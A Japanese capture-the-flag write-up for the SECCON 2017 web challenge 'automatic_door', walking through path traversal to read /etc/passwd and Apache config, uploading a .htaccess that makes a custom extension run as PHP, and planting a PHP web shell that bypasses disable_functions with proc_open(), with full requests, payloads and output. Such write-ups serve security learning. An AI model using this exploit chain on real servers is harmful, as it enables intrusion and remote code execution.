Tags: web php 

Rating:

▼▼▼automatic_door(Web:500)、73/1028team=7.1%▼▼▼

This writeup is written by @kazkiti_ctf


automatic_door

Get shell, and execute /flag_x

http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/

<?php
$fail = str_repeat('fail', 100);
$d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/';
@mkdir($d);

function read_ok($f)
{
    return strstr($f, 'FAIL_') === FALSE &&
        strstr($f, '/proc/') === FALSE &&
        strstr($f, '/dev/') === FALSE;
}

function write_ok($f)
{
    return strstr($f, '..') === FALSE && read_ok($f);
}

function GetDirectorySize($path)
{
    $bytestotal = 0;
    $path = realpath($path);
    if ($path !== false && $path != '' && file_exists($path)) {
        foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object) {
            $bytestotal += $object->getSize();
        }
    }
    return $bytestotal;
}

if (isset($_GET['action'])) {
    if ($_GET['action'] == 'pwd') {
        echo $d;

        exit;
    }
    else if ($_GET['action'] == 'phpinfo') {
        phpinfo();

        exit;
    }
    else if ($_GET['action'] == 'read') {
        $f = $_GET['filename'];
        if (read_ok($f))
            echo file_get_contents($d . $f);
        else
            echo $fail;

        exit;
    } else if ($_GET['action'] == 'write') {
        $f = $_GET['filename'];
        if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
            print_r($_FILES['file']);
            print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
        }
        else
            echo $fail;

        if (GetDirectorySize($d) > 10000) {
            rmdir($d);
        }

        exit;
    } else if ($_GET['action'] == 'delete') {
        $f = $_GET['filename'];
        if (write_ok($f))
            print_r(unlink($d . $f));
        else
            echo $fail;

        exit;
    }
}

highlight_file(__FILE__);

$_GET['action']では、pwdphpinforeadwritedeleteが使えることがわかる。


順に使ってみる

【1:pwd】

http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd

sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/

現在のフォルダが得られる


【2:phpinfo】

http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=phpinfo

phpinfo()の内容が表示される。とりあえず、下記の気になる箇所だけ確認した。

allow_url_fopen=on
allow_url_include=off

URLを挿入してもアクセスしにこない設定になっている。


【3:read】

ファイルを読み込めるのだが、現在読み込めるファイルがないので、パストラバーサルで/etc/passwdを読み込んでみる

http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
ntp:x:108:114::/home/ntp:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu User,,,:/home/ubuntu:/bin/bash
nomuken:x:1001:100::/home/nomuken:/bin/bash
seccon:x:1002:100::/home/seccon:/bin/bash
prometheus:x:110:117:Prometheus daemon,,,:/var/lib/prometheus:/bin/false

パストラバーサルの脆弱性が存在し、ファイルが読み込めることがわかる★


【4:write】

  } else if ($_GET['action'] == 'write') {
        $f = $_GET['filename'];
        if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
            print_r($_FILES['file']);
            print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
        }

$_FILES['file']とは、POSTmultipart/form-data形式でアップロードされたファイルを取得するもの。

GETaction=writeを送信しつつ、POSTfileパラメータを送信する必要がある。


ファイル名testで、内容testtestのものをアップロードしてみる

POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=test HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 166

--boundary
Content-Disposition: form-data; name="action"

write
--boundary
Content-Disposition: form-data; name="file"; filename="test"

testtest
--boundary--

testファイルを読み込む

GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=test

testtestが取得できた

書き込み&閲覧することができた。


しかし、writeでは下記の制約がある

if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {

phがチェックされるのでphpファイルはアップロードできないようになっている。


次に設定変更できるファイルである.httaccessの現在の設定を確認するために、apache2の設定ファイル/etc/apache2/apache2.confを取得してみる

GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../etc/apache2/apache2.conf

# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

AccessFileName .htaccess.htaccessを読み込む設定になっており、allowoverride Noneが記載されていない。

.htaccessをアップロードすれば、設定を変更することが可能。


下記のように、「拡張子.ttttの場合に、phpファイルとして実行する」ように記載した.htaccessファイルをアップロードする。

POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 204

--boundary
Content-Disposition: form-data; name="action"

write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"

AddType application/x-httpd-php .php .tttt
--boundary--

GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=.htaccess HTTP/1.1
↓
HTTP/1.1 200 OK
Date: Sun, 10 Dec 2017 03:24:56 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 42
Connection: close
Content-Type: text/html; charset=UTF-8

AddType application/x-httpd-php .php .tttt

アップロードできていることが確認できた。


次にp.ttttというファイル名で、とりあえず/bin/lsを実行するPHPコードをアップロードしてみる。

POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 1200

--boundary
Content-Disposition: form-data; name="action"

write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"

<?php
echo "ok";
system("/bin/ls");
?>
--boundary--

次に、アップロードしたp.ttttファイルにアクセスしてみる

GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt

PHPが実行され、okは表示されるもののsystem()が実行されないことがわかった。


よって、禁止されている関数を確認するために、phpinfo()を確認してみる。

disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,passthru,popen,shell_exec,system

これを元に、コマンド実行が可能な関数を絞っていく。

×exec()
×passthru()
×shell_exec()
×system()
×pcntl_exec()
×pcntl_fork()
○proc_open()
×popen()

proc_open()が使えそうだ


p.ttttというファイル名で、/flag_xを実行するPHPコードをアップロードする

POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 1200

--boundary
Content-Disposition: form-data; name="action"

write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"

<?php 
echo "ok";

function system_ex($cmd, $stdin = "")
{
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
        );

    $process = proc_open($cmd, $descriptorspec, $pipes);
    $result_message = "";
    $error_message = "";
    $return = null;
    if (is_resource($process))
    {
        fputs($pipes[0], $stdin);
        fclose($pipes[0]);
        
        while ($error = fgets($pipes[2])){
            $error_message .= $error;
        }
        while ($result = fgets($pipes[1])){
            $result_message .= $result;
        }
        foreach ($pipes as $k=>$_rs){
            if (is_resource($_rs)){
                fclose($_rs);
            }
        }
        $return = proc_close($process);
    }
    return array(
        'return' => $return,
        'stdout' => $result_message,
        'stderr' => $error_message,
        );
}

$cmd = "/flag_x";
$ret = system_ex($cmd, $input);
var_dump($ret); 
?>
--boundary--

アップロードしたp.ttttファイルにアクセスする

GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt

HTTP/1.1 200 OK
Date: Sun, 10 Dec 2017 03:51:22 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 141
Connection: close
Content-Type: text/html; charset=UTF-8

okarray(3) {
  ["return"]=>
  int(0)
  ["stdout"]=>
  string(41) "SECCON{f6c085facd0897b47f5f1d7687030ae7}
"
  ["stderr"]=>
  string(0) ""
}

SECCON{f6c085facd0897b47f5f1d7687030ae7}